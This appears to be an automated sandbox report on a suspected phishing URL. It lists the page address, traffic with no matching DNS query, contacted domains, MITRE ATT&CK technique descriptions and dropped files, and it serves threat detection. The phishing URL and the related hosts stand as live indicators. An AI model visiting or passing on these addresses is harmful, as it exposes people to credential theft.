Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No favicon
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No favicon

Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="author".. found
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="author".. found
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="author".. found
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="author".. found

Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="copyright".. found
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="copyright".. found
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="copyright".. found
Source: http://lide.alosalca.fun/highbox/#joeblow@xyz.com?random=vPMjwBSwlYxDHKesMLp2NDeOjaRFkVt4PK26wggvfjgUHTlTfQaMrYobiJYL6DgSJotIdl	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.54.200.130
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: lide.alosalca.fun
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 69-164-216-107.ip.linodeusercontent.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: dashboard.spamfather.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://lide.alosalca.fun/highbox#joeblow@xyz.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Windows Analysis Report
https://lide.alosalca.fun/highbox#joeblow@xyz.com